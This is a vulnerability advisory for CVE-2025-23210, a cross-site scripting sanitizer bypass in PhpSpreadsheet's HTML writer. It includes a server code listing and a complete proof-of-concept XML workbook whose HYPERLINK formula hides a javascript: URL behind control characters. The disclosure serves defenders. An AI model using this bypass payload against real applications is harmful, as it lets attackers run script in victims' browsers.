CVE-2025-23210

**Product:** PhpSpreadsheet **Version:** 3.8.0 **CWE-ID:** CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1:** 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) **CVSS vector v.4.0:** 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) **Description:** an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link **Impact:** executing arbitrary JavaScript code in the browser **Vulnerable component:** class `PhpOffice\PhpSpreadsheet\Writer\Html`, method `generateRow` **Exploitation conditions:** a user viewing a specially generated xml file **Mitigation:** additional sanitization of special characters in a string **Researcher: Igor Sak-Sakovskiy (Positive Technologies)** # Research The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet. The following code is written on the server, which translates the XML file into an HTML representation and displays it in the response. *Listing 4. Source code on the server* ``` <?php require __DIR__ . '/vendor/autoload.php'; $inputFileType = 'Xml'; $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType); $inputFileName = './doc/file.xml'; $spreadsheet = $reader->load($inputFileName); $writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); print($writer->generateHTMLAll()); ``` The contents of the xml file - `./doc/file.xml` *Listing 5. The contents of the xml file* ``` <?xml version="1.0"?> <?mso-application progid="Excel.Sheet"?> <Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" xmlns:html="http://www.w3.org/TR/REC-html40"> <DocumentProperties xmlns="urn:schemas-microsoft-com:office:office"> <Author>author</Author> <LastAuthor>author</LastAuthor> <Created>2015-06-05T18:19:34Z</Created> <LastSaved>2024-12-25T10:16:07Z</LastSaved> <Version>16.00</Version> </DocumentProperties> <OfficeDocumentSettings xmlns="urn:schemas-microsoft-com:office:office"> <AllowPNG/> </OfficeDocumentSettings> <ExcelWorkbook xmlns="urn:schemas-microsoft-com:office:excel"> <WindowHeight>11020</WindowHeight> <WindowWidth>19420</WindowWidth> <WindowTopX>32767</WindowTopX> <WindowTopY>32767</WindowTopY> <ProtectStructure>False</ProtectStructure> <ProtectWindows>False</ProtectWindows> </ExcelWorkbook> <Styles> <Style ss:ID="Default" ss:Name="Normal"> <Alignment ss:Vertical="Bottom"/> <Borders/> <Font ss:FontName="Calibri" x:Family="Swiss" ss:Size="11" ss:Color="#000000"/> <Interior/> <NumberFormat/> <Protection/> </Style> <Style ss:ID="s16"> <NumberFormat ss:Format="General Date"/> </Style> </Styles> <Worksheet ss:Name="Лист1"> <Table ss:ExpandedColumnCount="2" ss:ExpandedRowCount="6" x:FullColumns="1" x:FullRows="1" ss:DefaultRowHeight="14.5"> <Column ss:AutoFitWidth="0" ss:Width="194"/> <Row> <Cell ss:Formula="=HYPERLINK (CHAR(20) &amp; &quot;j&quot; &amp; CHAR(13) &amp; &quot;avascript:alert(1)&quot;)"><Data ss:Type="String"></Data></Cell> </Row> </Table> <WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel"> <PageSetup> <Header x:Margin="0.3"/> <Footer x:Margin="0.3"/> <PageMargins x:Bottom="0.75" x:Left="0.7" x:Right="0.7" x:Top="0.75"/> </PageSetup> <Selected/> <TopRowVisible>1</TopRowVisible> <Panes> <Pane> <Number>3</Number> <ActiveRow>6</ActiveRow> </Pane> </Panes> <ProtectObjects>False</ProtectObjects> <ProtectScenarios>False</ProtectScenarios> </WorksheetOptions> </Worksheet> </Workbook> ``` Due to the load with a special character in front of the javascript protocol, the execution flow hits line 1595, not 1593. *Figure 4. Generating a link bypassing a regular expression*  In the response from the server, you can see which special character is located in front of the javascript protocol after conversion. *Figure 5. Response from the server with a special character*  When viewing the rendered result, a link becomes visible in the browser, and when clicked, the embedded JavaScript code will be executed. *Figure 6. Executing JavaScript code* <img width="595" alt="fig6" src="https://github.com/user-attachments/assets/b8ff1aeb-ba3b-49c1-a3b4-9e2cc1fc52d1" /> _____________________________________________ ## Credit Igor Sak-Sakovskiy (Positive Technologies)